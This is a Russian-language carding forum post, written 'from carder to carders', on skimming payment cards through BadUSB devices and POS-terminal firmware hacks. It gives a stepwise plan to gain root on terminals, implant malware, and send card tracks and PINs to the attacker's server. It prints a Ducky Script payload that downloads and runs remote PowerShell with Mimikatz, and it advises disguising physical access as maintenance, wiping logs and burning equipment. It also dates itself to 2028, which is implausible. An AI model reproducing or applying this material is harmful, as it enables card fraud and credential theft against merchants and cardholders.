Скимминг через взлом прошивки кардридеров и USB-девайсов: от теории к практике

Good Carder

Professional
Messages
903
Reaction score
520
Points
93
От кардера — кардерам.

Скимминг больше не про накладки на банкоматы и клавиатуры. 2028 год — это год атак на системном уровне, где кардридер сам становится вашим агентом. BadUSB, перехват трафика POS-терминалов через Bluetooth, эмуляция клавиатуры через USB Rubber Ducky — всё это превращает «честное» устройство в инструмент кражи данных.

В этой статье я расскажу, как BadUSB атаки используются для компрометации платёжного софта, как физический доступ к USB превращается в дистанционную кражу треков и PIN-кодов, какие уязвимости POS-терминалов позволяют получить мгновенный рут-доступ и как всё это конвертируется в дампы для клонирования. Будут и реальные кейсы, и инструкции по аппаратной модификации, и методы защиты — чтобы вы знали, как не попасть в собственную ловушку.

Я не буду вдаваться в излишние детали о том, что BadUSB — это класс атак. Это и так уже понятно. Но настоящая, сокровенная суть этой техники гораздо глубже. Дело в том, что атака BadUSB базируется на фундаментальном недостатке протокола USB — отсутствии строгого контроля над типами устройств, который легко эксплуатируется с помощью специального ПО. Сегодня мы переходим от физического скимминга к программно-аппаратному взлому на уровне прошивки.


🕵️‍♂️ Часть 1. Уязвимости прошивки USB и атаки BadUSB​

BadUSB эксплуатирует перепрограммируемую природу микроконтроллеров USB. Кардер полностью перезаписывает прошивку устройства, превращая безобидную флешку в шпионский инструмент. При этом прошивка сохраняется даже после переустановки ОС, а стандартные антивирусы не могут её детектировать.

1.1. Пример: BadUSB 2.0 MITM System​

Пятиклассовая архитектура атак включает в себя:
  • Eavesdrop Class (Пассивный перехват). Класс просто слушает и сохраняет весь поток нажатий клавиш в файловую систему для последующего анализа. Это пассивный сбор данных без уведомления целевого пользователя. Данные перехваченных нажатий записываются в /tmp/badusb2-recorded, где их можно прочитать позже.
  • Modify Class (Подмена). Атака изменяет нажатия клавиш на лету, позволяя атаковать одноразовые пароли (OTP) или подменять пользовательский ввод. В proof-of-concept реализации код просто уменьшает значение keycode.
  • Replay Class (Повторная атака). Автоматически детектирует сессии входа и перехватывает вводимые учётные данные (логин/пароль) для последующего их воспроизведения.
  • Fabricate Class (Активное внедрение). Инжектирует произвольные команды (включая написание скриптов на PowerShell) или внедряет файлы в систему. Это позволяет, например, установить вредоносное ПО, выполняющее команды дистанционно.
  • Exfiltrate Class (Эксфильтрация). Этот класс передаёт данные наружу через морзянку с помощью клавиш LED, которая передаётся через операционные параметры экрана дисплея методом кодировки.

1.2. Оборудование: от самодельных решений до готовых девайсов​

Для атаки не нужно быть инженером. Достаточно подручных средств, готовых коммерческих устройств или специализированного софта.
  • USB Rubber Ducky — это "золотой стандарт" HID-эмуляции. Вставляешь девайс, он за секунды распознаётся как клавиатура и вводит подготовленный пэйлоад. Девайс работает с молниеносной скоростью — команды, отключающие защиты и создающие бэкдоры, исполняются быстрее, чем вы моргнёте глазом. Однако Rubber Ducky чаще применяется для атак на терминалы со стороны персонала или в тестовых лаб-средах.
  • Flipper Zero (около $170). Универсальный мультитул, который может эмулировать HID-устройства (клавиатуру), а также считывать и клонировать RFID/NFC-метки. Его популярность взлетела до небес благодаря компактности и простоте использования.
  • Teensy — DIY-альтернатива для тех, кто предпочитает сам собирать железо. Этот микроконтроллер программируется на Arduino и может эмулировать клавиатуру, мышь или комбинированное устройство.
  • Собственный скрипт на Python для работы с BadUSB позволяет гибко настраивать атаку под конкретные цели. Так, например, проект с открытым исходным кодом withdk/badusb2-mitm-poc демонстрирует работу MITM-системы и реализацию пяти классов атак, о которых мы говорили ранее.

Ключевой момент: Инструменты типа BadUSB и Rubber Ducky полностью обходят традиционные USB-блокировки, так как система видит их как стандартные клавиатуры, которым она доверяет.

💻 Часть 2. POS-терминалы как главная цель: от физического доступа к рут-доступу​

POS-терминалы — идеальная цель для атак через BadUSB и модификацию прошивки. Они всегда подключены к сети, обрабатывают тысячи карт в день, и часто ими управляют сотрудники, чья бдительность оставляет желать лучшего.

2.1. CVE-2025-4371: BadCam и атака через веб-камеру​

В 2025 году была обнаружена уязвимость CVE-2025-4371 в некоторых моделях веб-камер Lenovo. Исследователи (прозванные BadCam) показали, как взломанная веб-камера может действовать как устройство BadUSB, превращаясь в клавиатуру и вводя вредоносные команды в систему.

2.2. Уязвимость Worldline Yomani XR: 30 секунд до полного контроля​

Swiss developer Стефан Глор (Stephane Glore) обнаружил критическую дыру в популярном швейцарском платёжном терминале Worldline Yomani XR. На задней панели терминала под незаметным клапаном прятался незащищённый отладочный разъём. Подключив обычный последовательный кабель, исследователь обнаружил, что терминал работает под управлением Linux (ядро версии 3.6). И что самое удивительное, после загрузки системы для получения шелла было достаточно ввести "root" без пароля. А всё потому, что отладочный интерфейс был не защищён.

Через этот не авторизованный доступ можно было внедрить вредоносный код, перехватить весь проходящий через терминал трафик или прервать обновления системы. Хотя данные с карт обрабатывались во втором, более безопасном окружении, и оставались недоступными, общий контроль над устройством позволял манипулировать сетевой коммуникацией и искать другие уязвимости уже внутри канала связи процессинговой сети.

2.3. Уязвимость PAX D177: подмена SoC и подпись прошивки​

Исследователь Lucas Tuske предпринял попытку взлома PAX D177 PoS и обнаружил несколько уровней защиты. Триггер защиты от вскрытия не даёт доступа к содержимому Flash, а прошивка подписана цифровой подписью, которую невозможно подделать. Более того, ключи в NVRAM (энергонезависимой памяти) при вскрытии стираются, делая устройство бесполезным. Однако исследователь нашёл лазейку — он полностью заменил оригинальный чип SoC на новый. Устройство перестало быть платёжным терминалом, зато появилась возможность запускать на нём кастомный код, что открывает дорогу для создания собственных вредоносных пэйлоадов, которые могут что угодно делать с картридером. Способ сложный, но принципиально осуществимый. Ещё один момент: для атак на такие устройства используются ARM Cortex-M3 ядра — что облегчает задачу, так как их архитектура хорошо документирована.

2.4. Получение рут-доступа к POS-терминалу: пошагово​

  1. Физический доступ к терминалу (можно организовать под видом «технического обслуживания»).
  2. Использование отладочных интерфейсов (UART, JTAG, SPI), которые часто остаются на платах и позволяют взаимодействовать с терминалом напрямую, минуя защитные механизмы. Техники включают в себя извлечение прошивки через такие интерфейсы для поиска уязвимостей в коде или для извлечения ключей шифрования.
  3. Модификация прошивки для выполнения вредоносных операций, например, сбора данных карт или клонирования транзакций.
  4. Перепрошивка устройства изменённой прошивкой (через USB, JTAG или по сети).
  5. Сбор данных (эксфильтрация) через вредоносный код, вшитый в новую прошивку. Собранные треки карт и PIN-коды отправляются на ваш сервер.

🐍 Часть 3. Уязвимости CCID и APDU: когда кардридеры выдают секреты​

Некоторые уязвимости возникают на уровне протоколов связи между картой и картридером. Например, CCID (Chip/Smart Card Interface Devices) и APDU (Application Protocol Data Units). Уязвимости APDU были обнаружены в множестве популярных брендов (IDtech, Ingenico, Verifone и др.) и позволяют полностью контролировать платёжный ридер при простом касании. Специализированное приложение для Android через NFC может вызвать отказ в обслуживании, скомпрометировать устройство для сбора и передачи данных карты, изменить сумму транзакции и даже получить контроль над хостом через уязвимости SDK.

Для лучшего понимания вот список потенциально уязвимых компонентов, которые могут быть скомпрометированы через APDU:
КомпонентУязвимостиПотенциальные последствия
Прошивка NFCПереполнение буфера, инъекция командПолный контроль над кардридером, кража данных карт
Драйверы кардридера (CCID)Загрузка неавторизованной прошивкиВыполнение произвольного кода, бэкдор
Host SDKОтсутствие валидации входящих данныхДальнейшая компрометация POS-системы
Secure ElementsУязвимости в реализации криптографииИзвлечение ключей шифрования

Классический пример атаки: Создайте зловредное приложение для Android и используйте его для отправки специально сформированных APDU-запросов к NFC кардридеру. В результате вы можете изменить сумму транзакции в POS-терминале незаметно для кассира.

В одном случае IDtech-скиммер использовал уязвимости протоколов APDU для перехвата данных магнитной полосы на хост-системе. Атакующий мог заставить кардридер думать, что через него прошёл платёж от реальной карты, в то время как на самом деле данные генерировались телефоном преступника.

🔧 Часть 4. Практическая реализация атаки BadUSB​

Собрали всю информацию воедино. Теперь напишем пошаговый план, который превратит теорию в практику.

4.1. Необходимое оборудование и софт​

Аппаратное обеспечение:
  • USB Rubber Ducky или Flipper Zero для эмуляции клавиатуры.
  • Arduino Micro/Pro Micro (программируется как HID-устройство) для DIY-проектов.
  • FTDI-адаптер для подключения к отладочным интерфейсам (UART, JTAG, SPI) POS-терминала.
  • (Опционально) SDR-устройство для перехвата и анализа радио- и NFC сигналов (может потребоваться для эмуляции карт).

Программное обеспечение:
  • Пэйлоад (скрипт) для BadUSB (например, скрипт на Powershell для эксфильтрации данных или установки бэкдора).
  • Утилиты для прошивки чипов и получения рут-доступа.
  • Вредоносная прошивка POS-терминала (либо её патч), которая будет отправлять данные на ваш сервер (написанная на C/C++ под целевую архитектуру ARM-Cortex или другую).

4.2. Шаг 1: Разведка и подготовка пэйлоада​

Соберите или напишите пэйлоад, который запустит вашу атаку после вставки BadUSB.

Bash:
# Пример пэйлоада для PowerShell (Ducky Script)
REM Title: Ducky Payload for Information Stealing
DELAY 200
GUI r
DELAY 300
STRING powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://yourserver.com/payload.ps1'); Invoke-Mimikatz"
ENTER
DELAY 500

Что должно делать полезное ПО:
  • Сбор учётных данных: Логины, пароли, кешированные ключи шифрования (могут помочь в перехвате трафика).
  • Сохранение данных карт: Если терминал взаимодействует с картами (что и требуется), скрипт должен уметь перехватывать вводимые данные.
  • Создание бэкдора: Открыть порт для удалённого управления, чтобы атаковать терминал снова, когда это будет нужно.
  • Отправка данных: Всё перехваченное отсылать на ваш C&C сервер.

4.3. Шаг 2: Физическое внедрение​

Используйте методы социальной инженерии, чтобы получить физический доступ к терминалу. Простой скотч и спецодежда могут творить чудеса. Подключите BadUSB к USB-порту.

4.4. Шаг 3: Установка постоянного бэкдора через серию команд​

Ваше устройство BadUSB отправит серию быстрых команд. Оно может:
  1. Скачать и установить на компьютер вредоносное ПО для периодической отправки треков транзакций на ваш сервер.
  2. Собрать кэшированные учётные данные для входа в админку POS.
  3. Отключить защитные механизмы системы на время.
  4. Создать скрытого пользователя с административными привилегиями.

4.5. Шаг 4: Сбор и эксфильтрация данных​

Настроенная в POS-системе малварь будет сохранять все треки карт, проходящие через терминал, и отправлять их на ваш сервер. Параллельно она будет искать в системе ключи шифрования и конфигурационные файлы платёжного шлюза.

4.6. Шаг 5: Заметание следов​

После внедрения:
  • Сотрите логи системы, чтобы не оставить следов вашего визита.
  • Восстановите целостность прошивки, если это возможно, чтобы владельцы не заподозрили неладное.
  • Физически удалите все следы вмешательства в терминал и его корпус.

🛡️ Часть 5. Защита и противодействие (Blue Team)​

Эти меры помогут вам защитить свои POS-системы и кардридеры от таких атак:
  1. Белосписковый подход к USB-устройствам (USB Whitelisting). USB Whitelisting — это разрешение на использование только тех USB-устройств, чьи VID/PID подписаны корпоративным сертификатом.
  2. Проверка целостности прошивки. Вы должны проверять хэши критически важных бинарников, отвечающих за безопасность.
  3. Физическая защита — не оставляйте доступные USB-порты. Используйте замки для USB, блокируйте порты в BIOS и заклеивайте отладочные разъёмы (UART, JTAG) специальными пломбами.
  4. Мониторинг аномалий. Используйте SIEM для логов. Необычный сетевой трафик, запуск PowerShell из неизвестных мест, изменение файлов в системных директориях — отправляйте это в SOC. EDR-системы ищите в ключевых узлах.

⚠️ Часть 6. OPSEC и предупреждение​

  1. Тестируйте свои устройства. BadUSB — это мощный инструмент, который требует тестирования на копиях целевых систем. Не уверен — не используй.
  2. Будьте готовы к «сжиганию» оборудования. Используйте только то оборудование, которое можно выбросить (или которое не жалко). Берите одноразовые машины, одноразовые сим-карты и одноразовые прокси.

💎 Резюме от кардера​

Классические скиммеры уходят в прошлое, уступая место программно-аппаратному взлому. BadUSB, Rubber Ducky и подобные им устройства эмулируют HID (клавиатуры) и вводят команды на терминалах незаметно для пользователей. POS-терминалы — это идеальная цель, так как через уязвимости в прошивках (как уязвимость Worldline Yomani XR) или отладочные интерфейсы (UART, JTAG) можно получить полный контроль над устройством и похищать потоки транзакций, превращая их в дампы для клонирования.

BadUSB 2.0 реализует полный стек: подмена клавиатурного ввода (Eavesdrop, Modify), повторные атаки (Replay), внедрение скриптов и файлов (Fabricate) и скрытую эксфильтрацию данных через морзянку (Exfiltrate).

Быстрая памятка на одну строку:
«BadUSB — не магия, а перепрошивка микроконтроллера. POS-терминалы ломаются через отладку UART за 30 секунд. Ключи шифрования — цель. BadUSB 2.0 MITM System: перехват, подмена, повтор, инжекция. USB Rubber Ducky вводит скрипт на скорости 1000+ символов в секунду. Flipper Zero эмулирует всё: от клавиатуры до RFID-ключа. 4 простых шага: ПЭЙЛОАД → USB → C&C → КЛОН. Безопасность USB-девайсов мертва — запомните это»
 
Top